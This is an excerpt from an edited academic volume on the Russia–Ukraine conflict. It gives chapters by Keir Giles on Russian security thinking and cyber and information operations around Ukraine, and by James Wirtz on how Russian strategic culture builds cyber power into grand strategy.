19 Russia and Its Neighbours: Old Attitudes, New Capabilities Keir Giles Conflict Studies Research Centre 1 The View from Moscow The crisis around Ukraine is part of a wider confrontation between Russia and the West, which has persisted at varying degrees of intensity since the fall of the Soviet Union despite periods when the West as a whole refused to recognise that any conflict of stra- tegic interest with Russia existed.
After a period where this confrontation lay relatively dormant, the conflict in Ukraine results from the culmination of two important trends in the Russian view of itself and the world: first, a greater and more urgent perception of threat, whether real or imagined, to Russias own security and second, a recognition that Russia itself has regained sufficient strength, military and otherwise, to assert itself.
The notion that Russia is faced with an existential threat  even when that threat is imperceptible from outside Russia  has multiple and complex origins.
Some of these are permanent and persistent for example, the idea of vulnerability of Russias borders, which leads to the conviction that in order to protect its borders Russia must exert control far beyond them.
In the last century this was one of the drivers for Soviet ultimatums to the Baltic states and Finland which eventually led to their invasion in 1939.
This continuing perception feeds into the current portrayal by Russia of NATO enlargement, including to those same Baltic states, as a threat.
Regardless of NATOs intent, it presents a menace simply by approaching Russias borders.1 1 As expressed in a wide range of Russian security policy documents, including the December 2014 Military Doctrine of the Russian Federation and its predecessors.
Chapter 2 20 Other, more recent developments have heightened the sense of urgency for Russian security planners.
The fear that the West is considering bringing about regime change in Russia does not stand up to objective scrutiny, but appears deep-rooted among a broad sec- tor of the Russian security elite.
It has been accentuated in the past decade by, as Moscow sees it, fur- ther unrestrained and irresponsible interventions by the West with the intention of regime change, leaving chaos and disorder in their wake.
Western action in Libya and support for anti-government rebels in Syria provide prime examples.
Thus the prospect of destabilisation closer to home in Ukraine would have been of even more acute and direct concern in Moscow.
Even without the accompanying disorder, the threat of the loss of Ukraine to the West posed an immediate military problem: it appears to have been considered plausible in Moscow that this presented an immediate danger of losing the Black Sea Fleets base in Sevastopol, together with the often-overlooked supporting infrastruc- ture scattered across the Crimean peninsula, to NATO.
According to Secretary of the Russian Security Council Nikolay Patrushev, the consequences could be even more far-reaching: Americans are trying to involve the Russian Federation in interstate military conflict, to facilitate the change of power by way of using the events in Ukraine, and ultimately to carve up our country.2 Whether this view is sincerely held by the Russian leadership or not, it is the one that is con- sistently presented to the Russian public, and to its Armed Forces, as explaining the roots of the current conflict.
The fact that Russia was able to use large numbers of Special Operations Forces (SOF) swiftly and effectively to seize control of Crimea, and subsequently to wage an ongoing low-level campaign in eastern Ukraine involving long-term mobilisa- tion of its conventional forces, is a pointer to the other key element of the new Rus- sian approach to confrontation the recognition that Russia is now in a position to exercise a much more assertive foreign policy than in the recent past.
One element of this is the unprecedented and expensive overhaul and rear- mament of Russias Armed Forces which began after the armed conflict with Georgia in 2008 and continues today.
The fact that the Russian troops at work in Ukraine are entirely unrecognisable from the forces which entered Georgia just seven years earlier caused surprise and consternation among those Western defence communities that had not been paying attention.
But the Ukraine cam- paign overall is far more than a military operation.
Successful coordination of military movements and action with other measures in the political, economic and especially information domains, are the result of strenuous efforts by the 2 Interview with Security Council Secretary Nikolay Patrushev, Rossiyskaya gazeta, 11 February 2015.
Recent developments have heightened the sense of urgency for Russian security planners.
21 Putin administration over preceding years to harness other levers of state power to act in a coordinated manner.3 The results of this coordination has left the unprepared West scrambling for a response, and struggling even to define the phenomenon, as witness the tortuous attempts by NATO and Western governments to decide what precisely constitutes hybrid warfare.
But the notion of hybridity as applied to the current concept meets little understanding in Moscow.
Instead, Russia can be said simply to be attempting to implement grand strategy in the classical sense.
Russias attempt at this whole of government approach to managing conflict is embodied in the National Defence Control Centre in central Moscow, where a wide range of dif- ferent government ministries and agencies including those responsible for energy, the economy, ecology and more are brought together under the leadership of the General Staff.4 Intensive militarisation, sometimes referred to directly as mobilisation, is also now pervading Russian society, stoked by unending leadership rhetoric of war, con- frontation and threat, and blanket military coverage on TV.
According to Estonian Ambassador to the Russian Federation Jri Luik, the Russian narrative of war is instrumentalising the population and putting it on a mental war footing, not only by tapping into the traditional Russian narrative of victimhood over centuries, but also by engendering a heroic feeling that now is the time of risk.5 Furthermore, analysis of Russian security thinking shows not only this asymmetry of threat perception, but also a complete divergence with the West in terms of notions of how and when the military should be used to counter those threats.
As so often, there is no single explanation for a given course of action by Russia, and direct intervention in Crimea and Ukraine has also been parsed as a response to the threat posed to Russian business interests by closer integration with the European Union (EU).
The EU model of open markets and rules-based dealings runs directly counter to the Russian way of doing business in the near abroad, reinforcing the growing Russian perception of the EU as a problem rather than an opportunity but few analysts would have predicted that it would be the prospect of an EU Association Agreement for Ukraine, rather than any involvement with NATO, which would eventually lead to military intervention by Russia.
The ambivalent attitude to Ukraine as a sovereign nation with a right to choose its own foreign policy direction has its roots in an entirely different view of the end 3 Andrew Monaghan.
Defibrillating the Vertikal, Chatham House, October 2014, http://www.chathamhouse.org/publication/ defibrillating-vertikal-putin-and-russian-grand-strategy.
4 , Russian Ministry of Defence website, 1 November 2014, http://function.mil.ru/news_page/country/more.ht- m?id11998309egNews.
5 Speaking at the Lennart Meri Conference, Tallinn, 24 April 2015.
The notion of hybridity meets little understanding in Moscow.
22 of the Soviet Union.
That view holds that the former Soviet republics, including Ukraine and the Baltic States, in effect belong to Russia.
According to President Putin, in 1991 Russia voluntarily  I emphasise  voluntarily and consciously made absolutely historic concessions in giving up its own territory.6 This persistent view is not limited to President Putin.
According to veteran scholar of Russia Paul Goble: The Russian elite is sincerely convinced that the preservation of influence on the former Soviet republics surrounding it is the status quo and a nat- ural right given by history, even though for the entire rest of the world such an approach is incomprehensible and unnatural.
What this means is that Moscow acts as if the Soviet Union had not fallen apart, as if it had only been reformatted, but relations between sovereign and vassal have remained as before.7 It is plain that at least in some sectors of society, these aspi- rations by Russia to regain imperial dominion over its surroundings enjoy broad support.
The now-celebrated Prosecutor General of Crimea, Natalya Poklonskaya, in an interview at the time of annexation declared her ambition to start again in a great state, a great power, an empire, like Russia.8 This approach to Russias inheritance of domination over its neighbourhood appears consistent over time.
In 1953, an assessment of recent history that had led to Soviet domination over Eastern Europe concluded that in the Russian view: Stalin was no more than reasserting Russian authority over territories which had long recognised Tsarist rule, and which had been torn away from Russia at the time of her revolutionary weakness after the First World War.9 The effect of these long-standing assumptions is a mind-set that leads to casual references by Russian generals to nashi byvshiye strany (our former countries), statements that even Finland and Poland were parts of Russia, and that all major powers have a non-threatening sanitary zone (sanitarnaya zona) around them.10 Russias attempts to maintain, or reassert, this buffer zone are a major contributor to the current stand-off.
Since 1991, Moscow has employed a wide range of coercive tools in attempts 6 Ksenija Kirillova.
, Novyy Region 2, 28 April 2015, http://nr2.com.
ua/blogs/Ksenija_Kirillova/Putin-fakticheski-nazval-Ukrainu-territoriey-Rossii-95566.html.
7 Paul A. Goble.
Putin Gives the World His Geography Lesson: All the Former USSR is Russia, The Interpreter, 28 April 2015, http://www.interpretermag.com/putin gives the world his geography lesson all the former ussr is russia/.
8 Russian television interview available at https://www.youtube.com/watch?vXX4JCQViRKg (at 240).
9 William Hardy McNeill.
America, Britain and Russia: Their Co-operation and Conflict 1941-1946, (Oxford University Press 1953).
10 Private conversations with author in late 2014.
Informed analysis pointed to Ukraine as the next target for Russian action.
23 often unsuccessful  to maintain influence and leverage over its Western neigh- bours.11 From the mid-2000s, Russia benefited from a sudden influx of revenue thanks to higher oil prices and began to review its perception of its own strengths accordingly.
From the earliest stages, this was reflected in huge budget increases for the Armed Forces,12 and an intensified pattern of testing levers of influence against Western neighbours.13 High-profile incidents during this stage included gas cut-offs for Ukraine in 2006, the crude cyber offensive against Estonia in May 2007, and ultimately the use of military force against Georgia in 2008.
In each case, the results validated this approach for Russia: the Georgian conflict in particular demonstrated the validity of use of armed force as a foreign policy tool bringing swift and effective results, with only limited and temporary economic and reputational costs to bear.
It was in this context that a range of informed analysis pointed to Ukraine as the next target for assertive Russian action.
A UK parliamentary report in 2009 noted that: Many of our witnesses stressed that Russia poses a military threat to other former Soviet states, particularly in light of its actions in Georgia...
Some witnesses argued that Russia posed a military threat to Ukraine... one scenario was that Putin could send in military forces to secure the Russian military base at Sevastopol.14 2 Is This Cyber Warfare?
As noted above, the levers of power which Russia is bringing to bear in Ukraine are wide-ranging.
This study looks in detail at the specific cyber conflict aspect of the Ukraine crisis, but even this concept is impressively broad thanks to the holistic and inclusive Russian approach to what constitutes information warfare, of which cyber is an integral part.
Opinions are divided as to whether what is taking place in and around Ukraine can or should be called cyber war.
As Jan Stinissen argues in Chapter 14, current cyber operations do not meet a strict legal definition of a state of war.
But at the same time, according to one analysis, operations in Ukraine undoubtedly constitute cyber warfare.
The conflict: meets the generally accepted standard for the following reasons: the cyber warfare component is overt, meaning the perpetrators make little effort to hide either their identities or their allegiances.
The two countries 11 For a recent overview of the unfriendly means Russia adopts to influence its neighbours, see Russias Toolkit in The Russian Challenge, Chatham House, June 2015, http://www.chathamhouse.org/publication/russian-challenge-authoritarian-national- ism.
12 Keir Giles.
Military Service in Russia: No New Model Army, Conflict Studies Research Centre, May 2007.
13 Jakob Hedenskog and Robert L. Larsson.
Russian Leverage on the CIS and the Baltic States, FOI, June 2007, available at www.
foi.se/ReportFiles/foir_2280.pdf.
14 Russia: a new confrontation?,
House of Commons Defence Committee, Tenth Report of Session 2008-09, 10 July 2009.
24 are in open, hostile and declared conflict with each other.
Both sides have stated military and political objectives.15 As if to emphasise the point, intensive cyber attacks reportedly cease during the occasional observance of ceasefires.16 Other elements of the cyber conflict also confound definition.
Operations to date represent an evolution in Russian tactics compared to previous campaigns.
Both cyber and traditional elements of conflict are present, but they are both less overt and more difficult to understand and defend against.
In part, this is due to Ukraines very different cyber terrain.
Comparisons to Russias rudimentary cyber efforts at the time of the Georgian conflict in 2008 are of limited value.
Unlike Georgia, Ukraines more interconnected nature makes it impossible to restrict access to the internet overall, except in the very special case of the Crimean peninsula.
But in addition, there is no reason why Russia should try, especially given the integrated nature of Ukrainian and Russian information space.
Since Russia already enjoyed domination of Ukrainian cyberspace, including tele- communications companies, infrastructure, and overlapping networks, there was little incentive to disrupt it.
In short, Russia had no need to attack that which it already owned.17 To give one simplistic but indicative example, little offensive cyber effort is needed for Russia to access sensitive Ukrainian e-mail traffic when so many Ukrainians, including government officials, use Russian mail services and therefore provide automatic access to the Russian security and intelligence services.18 A distinctive aspect of information operations in Ukraine itself, and one with important implications for how cyber war may be waged in future, is the way Rus- sian activity in the cyber domain facilitates broader information warfare aims.
This manifests itself not only in straightforward spearphishing of Ukrainian officials19 for exploitation, but also in specific uses of malware in the conflict.20 A particu- lar example is the redirection of malware originally intended for cybercrime to manipulating viewer figures to promote pro-Russian video clips.21 But potentially even more significant for the nature of future cyber operations is the new interface 15 Tony Martin-Vegue.
Are we witnessing a cyber war between Russia and Ukraine?
Dont blink  you might miss it, CSO, 24 April 2015, http://www.csoonline.com/article/2913743/cyber-attacks-espionage/are-we-witnessing-a-cyber-war-between- russia-and-ukraine-dont-blink-you-might-miss-it.html.
16 Aarti Shahani.
Report: To Aid Combat, Russia Wages Cyberwar Against Ukraine, NPR, 28 April 2015, http://www.npr.org/ blogs/alltechconsidered/2015/04/28/402678116/report-to-aid-combat-russia-wages-cyberwar-against-ukraine.
17 Patrick Tucker.
Why Ukraine Has Already Lost The Cyberwar, Too, Defense One, 28 April 2014, http://www.defenseone.com/ technology/2014/04/why-ukraine-has-already-lost-cyberwar-too/83350/print/.
18 Anna Poludenko-Young.
Ukrainian Officials, Russian Security Services Thank You for Your Cooperation, GlobalVoices, 23 May 2015, http://globalvoicesonline.org/2015/05/23/ukrainian-officials-russian-security-services-thank-you-for-your-coop- eration/.
19 Undated PowerPoint presentation by SBU (Security Service of Ukraine), entitled ,      ,      , .
20 Kenneth Geers.
Strategic Analysis: As Russia-Ukraine Conflict Continues, Malware Activity Rises, FireEye, 28 May 2014, https://www.fireeye.com/blog/threat-research/2014/05/strategic-analysis-as-russia-ukraine-conflict-continues-malware-ac- tivity-rises.html.
21 Rami Kogan.
Bedep trojan malware spread by the Angler exploit kit gets political, Trustwave, 29 April 2015, https://www.
trustwave.com/Resources/SpiderLabs-Blog/Bedep-trojan-malware-spread-by-the-Angler-exploit-kit-gets-political/.
25 between cyber and kinetic operations.
When Russia wished to isolate Crimea from news from the outside world, no sophisticated cyber exploits were required.
Instead, SOF detachments simply took over the Simferopol IXP and selectively disrupted cable connections to the mainland.22 In short, complex and expensive informa- tion weapons are entirely unnecessary in situations where the adversary can gain physical control of infrastructure.
The circumstances of Crimea were unique, and not only because of the peninsulas distinctive internet geography but Russian planners will have noted this striking success and will be looking for where it can be applied elsewhere.
There are two important implications for planning for future crises with Russia.
First, both civil and military contingency planning should include scenarios where friendly access to the internet is degraded or absent and second, civilian internet infrastructure needs at least as much defence and protec- tion as other strategic assets.
In any case, the course of the conflict so far has seen no visible full-scale cyber hostilities of the kind envisaged by theorists, a theme examined in more detail by Martin Libicki in Chapter 5.
The tactics, techniques and procedures which have been used at various stages of the conflict are the subject of two separate detailed examinations by Nikolay Koval and Glib Pakharenko in Chapters 6 and 7.
3 Reactions and Responses Information campaigning, facilitated by cyber activities, contributed powerfully to Russias ability to prosecute operations against Ukraine in the early stages of the con- flict with little coordinated opposition from the West.
The fact that for almost a year the EU was unable to refer publicly to the presence of Russian troops in Ukraine23 denotes a broader inability to challenge the Russian version of events without which a meaningful response is difficult or impossible.
Early media coverage of the con- flict made it apparent  that some interlocutors had swallowed whole some of the cruder falsifications of Russian propaganda.24 As the realisation of the nature of the Russian information campaign began to filter through Western media and policy-making circles, this gave way to a dan- gerous optimism about the effectiveness of Russian measures, and a widespread assumption that Russian disinformation was failing because of its lack of plausibil- 22 , Ukrtelekom, 28 February 2014, http://www.ukrtelecom.ua/presscenter/news/offi- cial?id120327.
23 Andrew Rettman,.
EU breaks taboo on Russian forces in Ukraine, EU Observer, 16 February 2015, https://euobserver.com/ foreign/127667.
24 John Besemeres.
Russian disinformation and Western misconceptions, Inside Story, 23 September 2014, http://insidestory.org.
au/russian-disinformation-and-western-misconceptions.
Russian activity in the cyber domain facilitates broader information warfare aims.
26 ity.
Supposedly, Russian lies were ineffective because they were so obvious that they did not confuse senior and intelligent individuals in the West.
But this was to under- estimate the effects of layered messaging, subtlety screened and concealed by more obvious fabrications, continued saturation, and in particular the pernicious effect of the filter bubble on online reading habits  the way personalised search results driven by advertising models can effectively isolate internet users from alternative information and viewpoints.25 Russian official sources continue to disseminate lies which are easily detected and discredited in the West, as with the striking example of the discovery of sup- posed US MANPADS in Donetsk in late July 2015.26 But the implausibility is irrel- evant for Russian objectives: the story has been planted and will continue to be dis- seminated via the internet, and will not be contradicted in mainstream sources within Russia.
Instead of convincing Western readers that the disinformation is true, Rus- sian success is defined in two other ways: isolating the domestic audience from non-approved information so that Russian state actions are permissible and influencing foreign decision making by supply- ing polluted information, exploiting the fact that Western elected representatives receive and are sensitive to the same information flows as their voters.
When Rus- sian disinformation delivered in this manner is part of the framework for decisions, this constitutes success for Moscow, because a key element of the long-standing Soviet and Russian approach of reflexive control is in place.
Crucially, it must be remembered that Russian disinformation campaigns aimed at the West are conducted not only in NATO languages, but also in Arabic and Russian targeting minorities across Europe.
This itself has major implications for managing future confrontations between Russia and other front-line states, which must involve finding a means to respond to Russian information operations when the initiative necessarily lies with Russia.
As put pithily by journalist and author Peter Pomerantsev, they will always win the narrative war, because they can make stuff up.27 For the time being, much of the Western response appears focused on find- ing a label for the newly-demonstrated Russian way of warfare.
A range of early contenders, such as non-linear war, ambiguous war and others have largely been abandoned in favour of hybrid warfare, a concept originally designed for describing insurgency rather than warfighting by an aspiring regional power, but now applied to a totally new situation.
Nevertheless many of the components now being used to define hybridity are nothing new in Russian practice.
One argument 25 How to Burst the Filter Bubble that Protects Us from Opposing Views, MIT Technology Review, 29 November 2013, http:// www.technologyreview.com/view/522111/how-to-burst-the-filter-bubble-that-protects-us-from-opposing-views/.
26 Brian Ashcraft.
Pro-Tip: Dont Copy Battlefield 3 Stingers, 23 July 2015, Kotaku.com, http://kotaku.com/pro-tip-dont-copy- battlefield-3-stingers-1719695507.
27 Speaking at the Lennart Meri Conference, Tallinn.
24 April 2015.
Implausibility is irrelevant for Russian objectives.
27 holds that a previous round of expansionism by Russia in 1939-40 shared sufficient characteristics with current operations around Ukraine, including intimidation, spurious legitimation, and information campaigns backed with the prospect of full-scale invasion, to also be called hybrid warfare.28 Russias clinging to the atti- tudes and approaches of a former age holds other dangers too: Russian military, and in particular nuclear, messaging is baffling to its Western audience because the post-nationalist West has moved on from the Cold War mind-set in which it is rooted.
The result is a dangerous situation where the messages from Russia are received, but not understood.
4 Outlook At the time of writing the situation around Ukraine remains fluid and unpredictable.
While Russia shows no signs of pushing for greater territorial control of Ukraine, moves toward conciliation by the West give rise to fears of appeasement and the danger of a repeat of the disastrous resolution to the Georgia conflict seven years before.29 But one undeniable achievement by Russia is the transformation of the security environment in Central and Eastern Europe.
Faced with a challenge that is no longer deniable, Europe has overcome its strategic inertia.30 NATO in particular has been revitalised: the NATO agenda has shifted radically from contemplation of a future role after withdrawal from Afghanistan, now that the Alliance has a clear motivation to return to its core purpose.
Poland and the Baltic states, long cast as irresponsible trouble-makers for warning of the implications of a resurgent Russia, are now fully vindicated and benefiting from the overall NATO and unilateral US military response to the crisis.
Each is at present supporting these front-line states with very small increments of conventional military forces, while considering how to respond to the broader threat of a more assertive Russia.31 The Ukraine conflict has the potential to bring about a transformative effect specifically within cyber doctrine.
Unlike Russia, the siloed Western approach to cyber has typically focused on technical responses to technical threats, largely disre- garding the interface with information warfare in the broad sense.
This approach is entirely apt for persistent or background threats, but probably insufficient for when a national security crisis emerges, since at that point there will be no such thing as a pure cyber confrontation.
In other words, the West may have been well prepared 28 Vitalii Usenko and Dmytro Usenko.
Russian hybrid warfare: what are effects-based network operations and how to counteract them, Euromaidan Press, 17 January 2015, http://euromaidanpress.com/2015/01/17/russian-hybrid-warfare-what-are-effect- based-network-operations-and-how-to-counteract-them/.
29 Karoun Demirjian.
Visits by top U.S officials give Russia something to crow about, The Washington Post, 18 May 2015, http:// www.washingtonpost.com/world/europe/visits-by-top-us-offi...about/2015/05/18/3c562a94-fd6b-11e4-8c77-bf274685e1df_ story.html.
30 Andrew A. Michta.
Europes Moment of Blinding Strategic Clarity, The American Interest, 24 October 2014, http://www.
the-american-interest.com/2014/10/24/europes-moment-of-blinding-strategic-clarity/.
31 Daniel Schearf.
Russia Concerns Driving Neighbors to NATO, Voice of America, 5 August 2015, http://www.voanews.com/ content/russia-concerns-driving-neighbors-to-nato/2903033.html.
for cyber war, but events in Ukraine show that it also needs to be prepared for infor- mation war when cyber operations are used as a facilitator or attack vector.
More broadly, Russia has clearly demonstrated an improved capability to coor- dinate its levers of state power in order to achieve strategic objectives in contrast to the Wests apparent deficit of grand strategy.
In his chapter Strategic Defence in Cyberspace: Beyond Tools and Tactics, Richard Bejtlich calls for strategic thought in cyber policy, but this approach needs to be mirrored across all domains in order to successfully counter the broad-based Russian approach to modern warfare.
The crisis around Ukraine has brought Europe closer to recognition that its val- ues and interests are incompatible with those of Russia, and that if the West wishes to support Russias neighbours in asserting their sovereignty and choosing their own destiny, confrontation with Russia is the inevitable result.32 This also implies rec- ognition that 201415 is not an aberra- tion in relations between Russia and the West rather, it is the previous 25 years of relative quiescence that were the exception to the rule.
European nations have now been prompted by events to once more take an interest in their own defence.
But while concentrating on countering and forestalling Russias next unacceptable act of force, they must also be prepared for a sustained period of difficult and expensive tension.33 In Russias neighbour- hood, the new normal is a return to old ways.
32 A theme explored in greater detail in The Russian Challenge, op.
cit.
33 Keir Giles.
Staring down a grizzly Russia, The World Today, Volume 70, Number 2, AprilMay 2014.
201415 is not an aberration in relations between Russia and the West.
29 Cyber War and Strategic Culture: The Russian Integration of Cyber Power into Grand Strategy James J. Wirtz Naval Postgraduate School Discussion of the cyber domain in general, and specific considerations of cyber attacks, cyber war and cyber power, often seem oddly detached from a broader stra- tegic and geopolitical context.1 Several reasons can be suggested for why the cyber dimension of conflict seems to be considered in isolation from the physical and political goals that states and non-state actors attempt to achieve through their activ- ities in the virtual world of cyberspace.
Offensive and defensive cyber capabilities are highly classified by all parties it is impossible to say with certainty what capa- bilities are wielded, making it difficult to assess cyber orders of battle and cyber balances of power.
Newspaper reports, anecdotes, and rumours of capabilities offer clues, but it is difficult to link rumours to grand strategic objectives.
Cyber warfare is an exquisitely technical subject dominated by engineers, mathematicians, and computer scientists  individuals who can be forgiven for focusing on the latest patch needed in some software program, and for not thinking about the connection between technical exploitation and grand political strategy.
In a sense, issues related to cyber warfare are often treated, not just as something technically new on the mil- itary landscape, but as something that is unprecedented in military affairs.
If one turns a strategists eye toward the cyber domain, key questions immedi- ately emerge.
How will states integrate their cyber capabilities into an overall strat- 1 The opinions here are not those of the U.S. Navy, U.S. Government or the North Atlantic Treaty Organisation.
Chapter 3 30 egy to achieve military and political goals?
In other words, no matter how brilliant the algorithm, no matter how devious the penetration, how can cyber power be integrated into a combined arms or even a whole of government approach leading to battlefield success or to a grand strat- egy that creates a political fait accom- pli?
Unless one embraces the dubious proposition that cyber really constitutes the ultimate silver bullet in political and military conflict, it is unlikely to be employed independently as a war-winning weapon.
Moreover, given the need for integration, issues of political and strategic culture, to say nothing of bureaucratic preferences and peacetime legal restraints, can be expected to produce national styles and preferences when it comes to conflict in cyberspace.2 Although attribution of known cyber attacks remains a hotly contested and much denied issue (given the very limited evidence available), there is some indi- cation that strategic culture and organisational preferences shape the way the United States, China and Russia use their cyber power.
According to press reports, the United States was behind the Stuxnet malware attack on centrifuges at Irans Natanz enrichment facility.3 Many analysts suggested at the time that the Stuxnet attack was noteworthy as the first example of the use of a cyber weapon to cause physical damage, but it also reflected the long-standing American tradition of long-range precision bombardment and the preference for targeting key nodes in an opponents infrastructure to produce maximum damage with minimal effort.4 By contrast, the recent Office of Personnel Management hack, which press report- ing attributes to the Peoples Republic of China, seems to reflect a Chinese preoc- cupation with guarding its own citizens from nefarious outside influences, while going to great lengths to gather information that is locked behind others defen- sive barriers.5 Russian cyber activities, especially those associated with the recent conflict in Ukraine and the annexation of Crimea, probably offer the best example of the employment of cyber attacks to shape the overall political course of a dispute.
According to David J. Smith: 2 According to Colin Gray, The political context of strategy is exceedingly broad.
It includes the domestic political and bureau- cratic processes by which strategy is made and amendedall strategies are contrived and executed by people and institutions that must be considered encultured by the societies that bred them.
Colin Gray.
The Strategy Bridge: Theory for Practice (Ox- ford: Oxford University Press, 2010).
pp.
39-40.
3 Ellen Nakashima and Joby Warrick.
Stuxnet was work of U.S. and Israeli experts, officials say, Washington Post, June 2, 2012.
https://www.washingtonpost.com/world/national-security/stuxnet-was-work-of-us-and-israeli-experts-officials- say/2012/06/01/gJQAlnEy6U_story.html David E. Sanger.
Obama Ordered Sped Up Wave of Cyberattacks Against Iran, The New York Times, June 1, 2012, p. A1.
http://www.nytimes.com/2012/06/01/world/middleeast/obama-ordered-wave-of-cyber- attacks-against-iran.html.
4 Lawrence Freedman.
The Evolution of Nuclear Strategy, (3rd edition, New York: Palgrave MacMillan, 2003), pp.
11-12 Michael E. Brown, Flying Blind: The Politics of the U.S. Strategic Bomber Program (Ithaca: Cornell University Press, 1992), pp.
29-67.
5 Sean Lyngaas.
Exclusive: The OPM breach details you havent seen, Federal Computer Week August 21, 2015.
http://fcw.com/ articles/2015/08/21/opm-breach-timeline.aspx Jon R. Lindsay.
The Impact of China on Cybersecurity: Fact and Friction, International Security, Vol.
39, No.
3 (Winter 2014/2015), pp, 7-47.
Political and strategic culture produce national styles and preferences in cyberspace.
https://www.washingtonpost.com/world/national-security/stuxnet-was-work-of-us-and-israeli-experts-officials-say/2012/06/01/gJQAlnEy6U_story.html https://www.washingtonpost.com/world/national-security/stuxnet-was-work-of-us-and-israeli-experts-officials-say/2012/06/01/gJQAlnEy6U_story.html http://fcw.com/articles/2015/08/21/opm-breach-timeline.aspx http://fcw.com/articles/2015/08/21/opm-breach-timeline.aspx 31 Russia holds a broad concept of information warfare, which includes intelligence, counterintelligence, deceit, disinformation, electronic war- fare, debilitation of communications, degradation of navigation support, psychological pressure, degradation of information systems and propa- ganda.
Computers are among the many tools of Russian information warfare, which is carried out 24 hours a day, seven days a week, in war and peace.
Seen this way, distributed denial of services attacks (DDoS), advanced exploitation techniques and Russia Today television are all related tools of information warfare.6 Russia, more than any other nascent actor on the cyber stage, seems to have devised a way to integrate cyber warfare into a grand strategy capable of achieving political objectives.
The remainder of this essay explains what it is about Russian strategic culture that enables it to wield cyber power in a strategically effective manner.
It begins with a brief discussion of Russian strate- gic culture, especially how it manifested in past debates the impact of technology on warfare.
It then describes how Russia has employed its cyber power to defeat US and NATO deterrence strategies, effectively delivering a strategic defeat to the alliance at the outset of its hybrid war against Ukraine.
The essay concludes by offering some observations about the strategic nature of cyber warfare.
1 Russian Strategic Culture and Technology Often, states or individuals who initially invent or master some new technology fail to understand, not only its strategic implications, but also how best to employ it in a tactical or operational setting.
Historically, Russia, including its Soviet manifesta- tion, has not been at the forefront of scientific or technical innovation.
As one recent history explained, Soviet Cold War espionage was largely dedicated to stealing sci- entific, technical, and military information from the West in a desperate and ulti- mately failed effort to keep pace with more sophisticated and innovative opponents.7 Nevertheless, while the Russians may lack in technological prowess and innovative drive, they tend to excel in their ability to foresee the broad impact of technology on the battlespace.
Several sources can be suggested as the basis of this talent.
As Rob- ert Bathhurst explained decades ago, the Russians tend to be dreamers, allowing 6 David J. Smith.
How Russia Harnesses Cyberwarfare, Defense Dossier, Issue 4, August 2012, pp.
7-8.
7 According to Michael Warner, Soviet spies were crucial to keeping the USSR alive and competitive for two reasons: they stole enough industrial secrets to substitute for innovation in some sectors, and they kept Moscow apprised of where the West was reading Soviet secrets, Michael Warner.
The Rise and Fall of Intelligence: An International Security History (Washington, D.C.: Georgetown University Press, 2014), p. 161.
Russia seems to have devised a way to integrate cyber war- fare into grand strategy.
32 their imaginations to run wild and envision the implications of technology.8 In the 1920s, for instance, Soviet writers were thinking about supersonic dogfights on the fringes of space  something that has not occurred nearly a century later.
During the Cold War, visions of a fully functioning Star Wars missile defence system shook the Kremlin to its foundations, despite the fact that even proponents of Reagan-era missile defence recognised that many of the components of the system were at the outer fringes of technical feasibility.
In other words, while America focuses on issues of technology and systems integra- tion, Russia tends to leap immediately to considerations of the strategic implications of emerging weapons systems.
A second influence that shapes Russian views of emerging technology is the fact that, in their hearts, they are good Clausewitzians.
In other words, they understand the paramount nature of politics in war.
War is a political act.
Its purpose is to alter the political judgments of opponents to better suit our own interests.
Thus, to have a strategic effect, cyber power must be used in a way that will shape the political outcome of war.
Russians are thus quick to think through the links between technol- ogy, military operations, strategy, and ultimately political outcomes, despite their lack of technological dexterity.
Soviet estimates of the military balance, for example, reflected a broad assessment of the so-called correlation of forces, which incorpo- rated political and economic trends, not just force ratios based on bean counts of military units.
Soviet alarm over NATOs 1983 Able Archer exercise, for instance, was greatly influenced by the political rhetoric emanating from the Reagan White House, not by some fundamental shift in the military balance in Europe.
The Rus- sian officer corps, especially in Soviet days, was also encouraged to think through the strategic implications of new technologies.
Today, the Russian Army provides senior officers with multiple venues to debate not only doctrine, but theory.
By con- trast, US officers, who tend to focus on operational matters, generally lack similar venues to assess the strategic and political implications of new technology.9 In fact, many analysts point to a 2013 article signed by the Chief of the Russian General Staff, The Value of Science in Anticipating as laying out the Russian way of cyber warfare.10 A fine illustration of these phenomena is the emergence of the concept of Mili- tary-Technical Revolution, more commonly referred to by Western analysts as the 8 Robert B. Bathurst.
Intelligence and the Mirror (London: Sage, 1993).
9 For a recent discussion of how operational considerations, for instance, take centre stage in what is purportedly Naval strategy see Peter D. Haynes.
Toward a New Maritime Strategy: American Naval Thinking in the Post-Cold War Era (Annapolis: Naval Institute Press, 2015).
10 Valery Gerasimov.
The Value of Science in Anticipating [in Russian], Military-Industrial Courier, February 27, 2013, quoted in Matthew Rojansky and Michael Kofman.
A Closer look at Russias Hybrid War, Wilson Centre Kennan Cable , No 7, April 2015, p. 3.
America focuses on technol- ogy, Russia tends to leap to the strategic implications of weapons systems.
33 Revolution in Military Affairs.11 By the mid-1970s, NATO defence planners rec- ognised that they confronted a serious challenge along the Central Front.
If war broke out in Europe, NATO would do well against first-echelon Warsaw Pact formations, but the Alliance could only slowly bring reinforcements across the Atlantic.
Soviet third-echelon forces  units made up mostly of inactive reservists in peacetime would probably defeat NATO because they would reach the battle before reinforce- ments streaming across the Atlantic.
The United States and its allies had to prevent the third-echelon of the Red Army from reaching the Forward Edge of the Battle Area (FEBA).
The solution to the third-echelon threat was found in several new technol- ogies that would allow NATO to conduct precision strikes against Warsaw Pact stag- ing areas, depots, transportation hubs, and armoured formations hundreds of miles behind the FEBA.
By the mid-1980s, US programmes known as Assault Breaker and Smart Weapons Program, and NATO initiatives called Emerging Technologies and Follow on Forces Attack, were integrated into a new US Army Air-Land Battle doc- trine, creating a nascent reconnaissance-strike complex.
US planners adopted a rather nonstrategic and apolitical view of these new technologies  they simply saw them as a way to stop Soviet third-echelon forces from reaching the Central Front.
By contrast, the Soviets now anticipated a Military-Technical Revolution, pre- dicting that the emerging reconnaissance-strike complex would transform con- ventional combat, producing truly strategic and political effects.
Soviet strategists believed that long-range precision strikes could destroy forces and critical supply, communication, and command nodes deep within the enemys rear, creating con- ditions for a catastrophic theatre-wide collapse.
Put somewhat differently, the sys- tem of systems possessed by the Americans and their NATO allies would rob the Warsaw Pact of its ability to mass and manoeuvre forces, or even to conduct com- bined arms operations.
Soviet officers estimated that the nature of war was about to change: conventional, not nuclear, munitions might soon become the weapon of choice against massed armoured and infantry formations.
They saw the potential impact that this emerging system of systems could have on strategy, war, and inter- national politics there was a real possibility that the Warsaw Pact could be rendered militarily and politically ineffective by these emerging weapons and ways of war.
Ironically, Soviet predictions of a Military-Technical Revolution set off alarm bells in the West, as analysts scrambled to detect the new secret Soviet weapon that would produce these revolutionary developments in war.
